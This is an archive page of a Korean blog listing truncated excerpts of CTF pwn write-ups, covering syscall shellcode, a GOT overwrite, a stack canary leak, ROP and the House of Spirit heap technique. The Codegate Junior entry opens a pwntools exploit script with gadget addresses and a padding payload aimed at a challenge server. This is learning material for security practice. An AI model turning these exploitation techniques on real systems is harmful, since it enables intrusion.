2018/02

    [Pwanble.tw]start

    보호되어 있는 글입니다.

    [Pwnable.tw]orw

    [Pwnable.tw]orw

    pwntools에 shellcraft기능이 있어서 뭔지 궁금해서 알아볼 겸 문제를 하나 풀어봄. orw [100 pts]Read the flag from /home/orw/flag.Only open read write syscall are allowed to use.pwnable.tw가면 orw문제에 이렇게 설명이 되있음.flag는 /home/orw/flag에 있고 open,read,write syscall만 허용된다고 한다. 시나리오는 단순하게1.open으로 flag파일을 연다.열면 return값으로 eax에 저장 될 것이다.2,read로 eax의 값을 아무 빈 레지스터에 넣어논다.(※비여있는 레지스터는 저장된 후 값이 바뀌지 않을 레지스터를 사용하길 !)3.write함수를 통해서 레지스터에 있는 값을..

    2018 Codegate - Super marimo

    2018 Codegate - Super marimo

    코드게이트 당시에 super marimo문제를 분석하다가 취약점도 못찾고 끝내서 아쉬워서 풀어본다.문제는 두가지 방식으로 풀어봤다.첫번째는 strcmp got를 system으로 바꿔서 쉘을 따는 방법, 두번째는 oneshot가젯을 이용해서 푸는 방법으로 풀었다. main함수에는 여러가지 메뉴들이 있다.그중에서 View함수안에 있는 Modify를 하는 곳에 취약점이 있다.확인을 해보자 32*v3으로 값을 받아준다.그런데 v3에는 time+~~~를 해주는데 time함수는 현재 시간을 return해준다. 시간은 계속 흐른다,그럼 v3에는 흐르는 시간만큼 수가 커질 것이다.이곳이 취약한 곳이다.이것을 이용해서 다음 구조체를 덮어씌우면 될 것이다... 처음에는 구조체를 덮어씌우려고 시도를 했는데 잘되지 않았다.그..

    HarekazeCTF 2018 - Harekaze Farm (Pwn)

    HarekazeCTF 2018 - Harekaze Farm (Pwn)

    몇일 전에 HarekazeCTF가 있었는데 참여는 못했고끝난 후 pwn문제가 있으면 풀어볼려고 찾다가 한 문제가 있어서 풀게 됬다. 64비트 파일이고 SSP/NX가 걸려있다. 실행을 시켜보니 가장 좋아하는 동물의 이름을 입력을 하라고 한다.3번까지 입력을 받는다.ida로 열어서 분석을 해보자. main을 확인을 해보니read함수를 통해서 16글자를 입력을 받는다.입력을 받는 글자가 cow,sheep,goat,hen중에서 하나라도 있으면 select_animals에 입력을 받는다.(※select_animals에 입력을 받을 때 8바이트씩 동물을 저장을 한다.)그리고 아래를 보면 6299808에 있는 값과 동물들 하나씩 비교를 해서 맞으면 문자열을 출력을 해준다. (※6299808=0x6020A0(&sele..

    HITCON 2017 - Start

    HITCON 2017 - Start

    문제 풀거 없나 찾아보다가 syscall을 이용한 문제를 오랜만에 풀어보고 싶어서 찾은 문제HITCON의 start문제...솔직하게 쉬워보여서 잡았다 ㅋㅋ.... 64비트 파일이고 static compile되어 있는 것을 볼 수 있다.static이 되어있으면 왠만하면 syscall가젯이 있으므로 syscall을 이용해서 쉘을 따내면 될 것 같다.그리고 보호기법은 SSP/NX가 걸려있다. 파일을 실행을 시켜보면 입력을 받고 입력한 값을 그대로 출력해주고 하는 프로그램이다. ida 까보자 한눈에 봐도 오버플로우가 일어나는 곳을 볼 수 있다.카나리는 v7에 있는데 메모리 릭을 이용해서 카나리 값을 얻을 수 있다. 이렇게 하면 카나리 값이 나온다.이제 익스플로잇만 하면된다. #!/usr/bin/python fr..

    Codegate 2018 Junior Write Up

    Codegate 2018 Junior Write Up

    몇일 전에 있었던 코게 라이트 업을 쓰겠다. BaskinRobins31(Pwn) #!/usr/bin/python from pwn import * #p=process("./BaskinRobins31")p=remote('ch41l3ng3s.codegate.kr',3131)e= ELF("./BaskinRobins31") pppr = 0x0040087apop_rdi=0x00400bc3offset =172800puts_plt=0x4006c0puts_got=0x602020#offset = 728864 payload = ''payload += "A"*176#payload += "1"#payload += "0"*16payload += "JUNKJUNK"payload += p64(pppr)payload += p64(1)..

    2018 NEWSECU CTF

    보호되어 있는 글입니다.

    2016 Codegate -Serial

    2016 Codegate -Serial

    BugBug문제 풀다가 멘붕이 와서 다른 문제를 풀고 풀자고 마음을 먹고..Serial을 풀어봤습니다! 생각보다 쉽게 풀었다. 파일은 64비트이고 ssp와nx가 걸려있다. 일단 파일을 실행을 해서 대충 무슨 프로그램인지 감을 잡아보자. 키를 받아야지 다음 단계로 넘어 갈 수 있는 것 같다.ida로 열어보자. main함수를 확인을 해보니처음에 get_num함수로 값을 받은 후 product_key부분으로 넘어가는데 product_key부분을 보면 무슨 엄청난 연산을 한다...전에 2017Codegate Angry Bird를 풀어봤는데 그것처럼 angr을 사용해서 풀면 될 것 같다. (나도 처음에는 잘몰랐는데 angr을 사용해보니 값이 나왔다!) 이와 같이 짜준 후 돌리면 key값이 나온다. 61506681..

    [How2Heap] House of Spirit

    [How2Heap] House of Spirit

    House of Spirit에 대한 것을 정리하고자 한다. 소스코드는 https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit.html에 있는 소스코드를 참조를 하였다. House_of_Spirit.c 1. #include2. 3. 4. struct fast_chunk {5. size_t prev_size;6. size_t size;7. struct fast_chunk *fd;8. struct fast_chunk *bk;9. char buf[0x20]; // chunk falls in fastbin size range10. }; 11. int main(){12.13.struct fast_chunk fake_chunks[2]; // Two chu..